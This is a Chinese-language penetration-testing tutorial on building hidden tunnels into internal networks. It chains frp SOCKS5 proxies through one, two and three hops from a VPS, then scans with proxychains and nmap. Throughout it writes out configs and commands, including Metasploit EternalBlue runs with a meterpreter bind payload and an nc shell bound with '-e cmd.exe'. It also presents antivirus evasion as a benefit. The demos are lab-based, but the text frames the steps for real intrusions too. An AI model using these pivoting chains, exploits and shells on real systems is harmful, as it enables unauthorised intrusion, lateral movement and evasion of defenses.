内网渗透之隐藏隧道搭建(下)

前沿

上篇主要讲一些常见的隧道搭建方法,比较常见的lck端口转发,ew隧道,nc隧道都有复现,

这篇我会完整的复现我比较常用的frp隧道搭建,包括怎么从一级代理到二级代理,以及环境配置

技多不压身,学习渗透总要多学习一些方法,对于我们总是好的

若是文章有错误或者不足,请多多指正

frp隧道代理

简介

搭建frp服务器进行内网穿透,可用且推荐,可以达到不错的速度,且理论上可以开放任何想要的端口,可以实现的功能远不止远程桌面或者文件共享。

frp就是一个反向代理软件,它体积轻量但功能很强大,可以使处于内网或防火墙后的设备对外界提供服务 ,它支持HTTP、TCP、UDP等众多协议。我们今天仅讨论TCP和UDP相关的内容

frp知识

下载地址

https://github.com/fatedier/frp/releases

从一级代理到三级代理都完整写下每一个步骤 (使用frp的时候,必须分清楚是32位的还是64位的,win的和linux使用方法也不一样) frp分为客户端和服务端,要严格分清楚

wKg0C2D5mziAXWsiAABaVq0vILo759.png

(linux的系统需要先给执行权限,再frp执行命令。Windows的直接frps -c frps.ini就行)

chmod +x frps            //给执行权限

./frps -c frps.ini       //举例子,要结合实际

配置文件扩展

按需求可以自己添加上

bind_addr =        #绑定的ip,为本机
bind_port =           #绑定的端口
dashboard_addr =    #管理地址
dashboard_port =      #管理端口
dashboard_user =      #管理的用户名
dashboard_pwd  =    #管理用户的密码
token =            #客户端服务端连接的密码
heartbeat_timeout =     #心跳超时时间
max_pool_count =        #最大同时连接数

frp优点

  • 免杀
  • 命令简单

(不管几级代理frp命令都是: 服务端的exe文件 -c 服务端配置文件)

  • 逻辑简单

  • frp只走socks5的代理

    (socks5比较稳定,支持协议比socks4多 ,流量转发也快)

一级代理

一级代理比较简单,分别配置客户端以及服务端文件就行

环境

我使用45.x.x.97作为我的vps 另一个以己经在cs上线的web服务器来作为演示

演示

文件配置

靶机:
    # frpc.ini
    [common]
    server_addr = 45.x.x.97
    server_port = 11000
    [http_proxy]
    type = tcp
    remote_port = 11666
    plugin = socks5
VPS:
    # frps.ini
    [common]
    bind_addr = 0.0.0.0
    bind_port = 11000

开启顺序 先在VPS建立服务端 然后在靶机开启客户端

VPS 先编辑好frps.ini文件

wKg0C2D5oGSAAva6AABJz18dGnE926.png

![]()

上传,运行 (linux的系统需要先给执行权限,再frp执行命令。Windows的直接frps -c frps.ini就行)

chmod +x frps 给执行权限

./frps -c frps.ini

wKg0C2D5oHiATFEAABYyADS8Xo683.png

靶机 编辑好文件

wKg0C2D5oIOADo0kAAB1zfvQwkw838.png

![]()

cs上传文件

wKg0C2D5oJCATnuBAAC2PqWQulU787.png

    //1proxy是存放代理文件的文件夹名

wKg0C2D5oJyAI1E1AABwi0qSXoc576.png

![]()

一级代理成功

!wKg0C2D5oKaAfPGVAABu3XIuTcw228.png

代理成功,使用proxy测试 ip:45.x.x.97 端口;11666

wKg0C2D5oLaAXYyHAADuOq2iEwQ762.png

![]()

二级代理

二级代理环境和三级代理的环境需要自己配置,或者实战需要也可以

网络环境

Kali              192.168.1.53          桥接模式

vps               149.129.65.126 

centos            192.168.1.63          桥接模式
                  192.168.111.63        NAT模式

Win7-1            192.168.111.57        NAT模式
                  192.168.88.57         仅主机模式

Win7-2            192.168.88.58         仅主机模式

演示

Centos 映射socks5代理到VPS:9999端口使Kali(攻击者)可访问内网111网段

Win7-1映射socks5代理到Centos:8888端口,使Kali(攻击者)可访问88网段。

Kali通过VPS999端口访问111然后通过8888端口访问88网段资源。攻击88.58

建立centos和VPS之间的socks5代理。


root@VPS:~/frp_0.33.0_linux_amd64# vim free.ini

[common]
bind_port = 7000
authentication_method = token
token = xuegod123456

root@VPS:~/frp_0.33.0_linux_amd64# ./frps -c free.ini

Centos frpc配置

[root@xuegod63 frp_0.33.0_linux_amd64]# vim frpc.ini

[common]
server_addr = 149.129.65.126
server_port = 7000
token = xuegod123456
[socks9999]
type = tcp
remote_port = 9999
plugin = socks5
use_encryption = true
use_compression = true

[root@xuegod63 frp_0.33.0_linux_amd64]# ./frpc -c frpc.ini

Kali配置代理链

(rootxuegod53)-[~]

# vim /etc/proxychains4.conf
socks5  149.129.65.126  9999

可以访问111网段的所有资源。

# proxychains4 nmap -Pn -sT -p 445 192.168.111.57

wKg0C2D5oPqAOmgAAEZxylYOcM729.png

![]()

不能访问88网段所有的资源。我们前面可以通过centos直接访问88网段是因为我们基于centos的session配置了路由才可以访问目标。

# proxychains4 nmap -Pn -sT -p 445 192.168.88.57

wKg0C2D5oQWABobrAAETpdd8e3A108.png

![]()

通过二级代理实现88网段的访问。Win7-1映射socks5代理到Centos。

[root@xuegod63 frp_0.33.0_linux_amd64]# vim f2.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7000

[root@xuegod63 frp_0.33.0_linux_amd64]# ./frps -c f2.ini

Win7-1

frpc.ini配置文件内容


[common]
server_addr = 192.168.111.63
server_port = 7000
[socks5_8888]
type = tcp
remote_port = 8888
plugin = socks5
use_encryption = true
use_compression = true
C:\frp_0.33.0_windows_amd64\frp_0.33.0_windows_amd64>frpc.exe -c frpc.ini

wKg0C2D5oRWAMRkAAC8gTnTVOg925.png

配置代理链,这里写新增centos的ip地址可以写1网段或者111都可以。

wKg0C2D5oSGANplLAAEgY7IFZZM290.png

(rootxuegod53)-[~]
# vim /etc/proxychains4.conf
[ProxyList]
socks5  149.129.65.126  9999
socks5  192.168.111.63  8888

# proxychains4 nmap -Pn -sT -p 445 192.168.88.57

proxychains4 nmap -Pn -sT -p 445 192.168.88.58

wKg0C2D5oSAZPMrAAEZ7tm2a08456.png

# proxychains msfdb run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.88.58
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

wKg0C2D5oTqAc1HiAAEXZpsj0l0334.png

meterpreter > ifconfig

wKg0C2D5oUASkwAACQggsDQks307.png

总结:使用socks5代理建立二级代理无需设置路由即可访问整个网段资源。payload依旧建议使用Bind类型。

三级代理

做之前我们不要动前面的二级代理环境,退出MSF即可。

meterpreter > exit
msf6 exploit(windows/smb/ms17_010_eternalblue) > exit

网络环境


Kali         192.168.1.53          桥接模式

vps          149.129.65.126  

Centos       192.168.1.63          桥接模式

             192.168.111.63        NAT模式

Win7-1       192.168.111.57        NAT模式

             192.168.88.57         仅主机模式

Win7-2       192.168.88.58         仅主机模式

新增         192.168.77.58         仅主机模式

通常来说我们应该加一台机器,但是机器开太多我们配置不够,所以直接在Win7-2添加一个新网段的网卡就可以了。 实现过程: Centos 映射socks5代理到VPS:9999端口使Kali(攻击者)可访问内网111网段

Win7-1映射socks5代理到Centos:8888端口,使Kali(攻击者)可访问88网段。

Win7-2映射socks5代理到Win7-1: 7777端口,使Kali(攻击者)可访问77网段

添加一张虚拟网卡。

wKg0C2D5oV6AFaTtAAEPSeE0nfU096.png

这边VMnet名称自动的直接确定即可。

wKg0C2D5oWmAUkpFAAA6j1rG8qA372.png

修改网段为77

wKg0C2D5oXOAOfqaAAFjnYT3zfQ525.png

![]()

Win7-2添加网卡

wKg0C2D5oXAEYSfAAEoG9yRB6k335.png

选择VMnet2 刚刚创建的网络。

wKg0C2D5oY2AGB8nAAEuP3k28r8414.png

给我们新增的网卡配置IP地址。

wKg0C2D5oZqAZ7d2AAGshQzvvMM542.png

Win7-1配置frps

frps.ini配置文件

[common]
bind_addr = 0.0.0.0
bind_port = 7000

启动frps

C:\frp_0.33.0_windows_amd64\frp_0.33.0_windows_amd64>frps.exe -c frps.ini

Win7-2配置frpc

frpc.ini配置文件


[common]
server_addr = 192.168.88.57
server_port = 7000
[socks5_7777]
type = tcp
remote_port = 7777
plugin = socks5
use_encryption = true
use_compression = true

启动frpc

C:\frp_0.33.0_windows_amd64\frp_0.33.0_windows_amd64>frpc.exe -c frpc.ini

配置代理链

(rootxuegod53)-[~]
# vim /etc/proxychains4.conf
[ProxyList]
socks5  149.129.65.126  9999
socks5  192.168.111.63  8888
socks5  192.168.88.57   7777

扫描77.58的445

# proxychains4 nmap -Pn -sT -p 445 192.168.77.58

wKg0C2D5oaqASGxlAAElatGbw534.png


# proxychains msfdb run

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.77.58
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

排错: 如果看到访问192.168.77.58 time out 直接重新run,因为攻击如果没有成功77.58就不会侦听4444端口,所以此时可以到Win7-2看一下4444端口是否开启。如果没有开启说明exp利用没有成功。

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

wKg0C2D5obeAGxxOAAESQ2LlkNM835.png

![]()

meterpreter > ifconfig

注:通常frp内网穿透用nc做实验会比较方便一些,msf利用的话有一些不可控因素,比如exp是否执行成功。个别网络原因无法通过MSF验证的同学建议使用nc

kali中nc位置:/usr/share/windows-binaries/nc.exe

例如: Win7-2

C:\Users\Administrator>nc  -Ldp 443 -e cmd.exe
Kali
(rootxuegod53)-[~]
# proxychains  nc -v 192.168.77.59 443

wKg0C2D5ocGANuq4AADIoUzGMXI688.png

![]()

C:\Users\Administrator>ipconfig

Linux中代理链使用proxychains

Windows中代理链使用Proxifier

免责声明:文章内容不代表本站立场,本站不对其内容的真实性、完整性、准确性给予任何担保、暗示和承诺,仅供读者参考,文章版权归原作者所有。如本文内容影响到您的合法权益(内容、图片等),请及时联系本站,我们会及时删除处理。查看原文

为您推荐